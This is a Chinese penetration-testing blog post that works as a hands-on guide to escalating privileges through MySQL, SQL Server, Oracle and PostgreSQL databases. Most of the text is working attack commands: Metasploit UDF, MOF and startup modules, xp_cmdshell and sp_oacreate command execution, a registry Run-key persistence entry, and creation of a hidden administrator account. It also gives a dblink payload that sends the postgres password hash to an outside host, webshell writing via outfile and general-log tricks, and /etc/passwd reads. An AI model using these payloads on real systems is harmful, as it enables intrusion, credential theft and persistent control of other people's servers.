Featured image of post 数据库提权

数据库提权

数据库提权思路

数据库提权

https://mp.weixin.qq.com/s/saTKb2YiAeLEvN94weIKZw

https://www.freebuf.com/articles/web/264790.html

https://mp.weixin.qq.com/s/ntyKMxaNZB1kexAwWleh8g

Mysql数据库提权

在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,除 Access 数据库外,其他数据库基本都存在数据库提权的可能。当然这里也是主要介绍MySQL数据库的提权

img

Mysql数据库前提条件

1
2
3
4
5
root权限
secure_file_priv不为Null
网站目录可写
知道网站路径
知道数据库账号密码(SQL注入获取账号密码,网站备份文件或配置文件,爆破)

如在PHPstudy中mysql安装目录下的user.MYD文件下存储着管理员密码

img

img

Windows下-UDF提权

udf(user-defined-function)是mysql得一个拓展接口,也称为用户自定义函数,用户通过自定义函数来实现在mysql中无法方便实现得功能当攻击者已知root账号和密码,就可以利用root权限,创建带有调用cmd函数的“udf.dll”。当我们把udf.dll导出指定文件夹引入mysql时候,其中的调用函数拿出来当作mysql函数来使用

  1. MySQL版本小于5.1的时候,windows2003的udf.dll文件放置在:c:\windows\system32。windows2000的udf.dll文件放置在:c:\winnt\system32。
  2. MySQL版本大于5.1的时候,udf.dll文件必须放置在MySQL安装目录下的lib\plugin,但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建

设置数据库Root外联

Mysql数据库中默认root用户权限都不可以外联,需要在连接上后通过执行命令来添加外部联权限

这里看一下外连数据库情况,可以看到这里是无法连接的,原因就是root未开启外联

img

通过Webshell外联数据库,这里通过哥斯拉的数据库管理进行外联,也可以使用php大马进行连接

img

1
2
3
//开启数据库root外联
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
GRANT ALL ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

img

提权

1
2
select version();                       #获取数据库版本信息,通过获取数据的版本来确定后面将dll导出的位置
select @@basedir                        ##获取数据库安装位置

img

查看到Mysql安装路径,到路径下查看是否存在plugin文件夹,没有则手动创建一个

当secure-file-priv为NULL的时候,直接就放弃吧,不要提权了,这里其实是可以提权的,但是最关键的是需要动数据库的配置,以及重启数据库,这个肯定会使得别人数据库产生问题

1
show global variables like '%secure%';              查看secure_file_priv状态

使用MSF的Mysql UDF提权模块

1
2
3
4
5
use exploit/multi/mysql/mysql_udf_payload
show options
set username root
set rhost 192.168.x.x
set password root

这里直接无法攻击成功,由于secure_file_priv为Null

img

修改secure_file_priv的值,必须要重启数据库

  1. windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
  2. linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

img

1
2
此时攻击成功,查询dll文件
select * from mysql.func

img

之前提到的,是没有这个函数的,默认的是无回显的,所以可以手动创建一个有回显的函数,这里一定要和你的dll文件名称是一致的,这里我的是CxyZMFgd.dll,不代表你的也是这个,所以命令复制的时候需要修改一下后面的这个dll文件的名称

1
2
create function sys_eval returns string soname "uKoEaaGi.dll"; ##创建函数
drop function sys_eval;  ##删除函数,这里是为了执行完后,方便删除记录。

img

1
select sys_eval('whoami');

img

MOF提权

现在通过mof文件来进行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。mof的提权原理为mof文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

1
use exploit/windows/mysql/mysql_mof    //使用MSF自带的mof提权模块

mysql启动项提权

就是写一个木马到Windows启动项目录下,需要配合服务器重启才能成功,前提需要开启root用户外联

1
2
3
4
use exploit/windows/mysql/mysql_start_up   //使用MSF自带的mof提权模块
set rhost 
set username
set password

SqlServer提权

https://blog.csdn.net/zhzx123aa/article/details/146362888

https://www.cnblogs.com/suv789/p/18700276

https://www.cnblogs.com/hellobao/articles/17249842.html

XP_cmdshell提权

原理:xp_cmdshell可以让系统管理员以操作cmd的方式执行给定的命令,并以文本方式返回输出,是一个功能非常强大的扩展存储过程。xp_cmdshell在SQLserver2000中默认开启,可以直接执行系统命令。2005本身及之后的版本默认禁止,所以想要使用,就需要拥有SA账号相应权限,使用sp_configure将其开启。

利用条件:

  1. 拿到sqlserver数据库sa权限
  2. sqlserver服务未降权
1
2
3
4
5
6
7
8
//xp_cmdshell在sqlserver高版本中是默认禁用的下面是开启命令

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

EXEC xp_cmdshell 'whoami';          //利用xp_cmdshell执行系统命令

sp_oacreate提权

sp_oacreate用于创建OLE自动化对象实例,搭配sp_oamethod可以调用系统组件(如WScript.Shell)执行命令。

使用前提:需要SA权限,默认情况下此功能可用。

1
2
3
4
DECLARE @shell INT;
EXEC sp_oacreate 'WScript.Shell', @shell OUTPUT;
EXEC sp_oamethod @shell, 'Run', NULL, 'cmd.exe /c whoami > C:\result.txt';
EXEC sp_oadestroy @shell;

沙盒提权xp_regwrite

  • 功能xp_regwrite允许修改Windows注册表。
  • 提权用途:通过更改注册表,攻击者可以启用禁用功能、添加启动项或修改系统配置以实现提权。
  • 使用前提:需要SA权限。
1
2
3
EXEC xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows\CurrentVersion\Run', @value_name='Test', @type='REG_SZ', @value='C:\malicious.exe';

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

然后利用sql语句添加一个帐号和密码都为sql$的帐号,同时加入管理员组进行提权:

创建账户+添加到管理员组:

1
2
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

Oracle数据库提权

https://mp.weixin.qq.com/s/yOe9VtbV4Hw4NZyj95YPDA

https://www.shuzhiduo.com/A/pRdBPVMaJn/

Oracle数据库有3种提权模式,普通模式/DBA模式/注入模式,可以直接使用脚本一把梭

img

PostgreSQL数据库提权

https://mp.weixin.qq.com/s/6wPc5eJACcmhVZ-yFMxrYA

1
"PostgreSQL"

CVE-2018-1058

PostgreSQL 是一个功能强大的开源关系型数据库系统。在9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下可能执行普通用户创建的恶意代码,从而造成意外的操作。

Navicat连接数据库vulhub:vulhub

1
2
3
4
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
    select dblink_connect((select 'hostaddr=192.168.139.41 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
    SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

img

在靶机中执行

1
2
3
docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub

即可导出vulhub用户的hash

CVE-2019-9193

影响版本:PostgreSQL v9.3-v11

使用postgres:postgres默认密码连接数据库

1
2
//执行以下命令
DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'id';SELECT * FROM cmd_exec;

img

数据库利用工具

MDUT

下载地址:https://github.com/SafeGroceryStore/MDUT

使用指南:MDUT

Mysql UDF提权

img

PostgreSQL只支持CVE-2019-9193提权

img

OracleShell—Oracle数据库命令执行工具

下载地址:https://github.com/jas502n/oracleShell

img

DatabaseTools

下载地址:https://github.com/Hel10-Web/Databasetools

Mysql

1
2
3
4
DatabaseTools_windows_amd64.exe -h          //命令行工具不是图形化工具

//获取SQL Shell
DatabaseTools_windows_amd64.exe -mysql -ruser root -rhost 192.168.139.148 -pwd "root" -rport 3306 -cli

img

into out file获取webshell
1
DatabaseTools_windows_amd64.exe -mysql -ruser root -rhost 192.168.139.148 -pwd "root" -rport 3306 -shell -outfileshell -path "C:\\\\phpStudy\\\\WWW\\\\\aaa.php"
全局日志getshell
1
DatabaseTools_windows_amd64.exe -mysql -ruser root -rhost 192.168.139.148 -pwd "root" -rport 3306 -shell -generallog -path C:\\\\phpStudy\\\\WWW\\\\aam.php
udf提权
1
DatabaseTools_windows_amd64.exe -mysql -ruser root -rhost 192.168.139.148 -pwd "root" -rport 3306 -udf

PostgreSQL

连接postgre数据库获取sql shell
1
DatabaseTools_windows_amd64.exe -postgre -ruser  "postgres" -pwd "postgres" -rhost 192.168.111.162 -rport "5432" -cli
利用CVE-2019-9193循环执行命令
1
2
3
DatabaseTools_windows_amd64.exe -postgre -ruser  "postgres" -pwd "postgres" -rhost 192.168.111.139 -rport "5432" -CVE20199193 -console
读取文件
DatabaseTools_windows_amd64.exe -postgre -ruser  "postgres" -pwd "postgres" -rhost 192.168.111.139 -rport "5432" -read1 -file "/etc/passwd"

…其它利用命令可以去项目地址查看

By Lsec
最后更新于 Jun 15, 2025 13:53 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ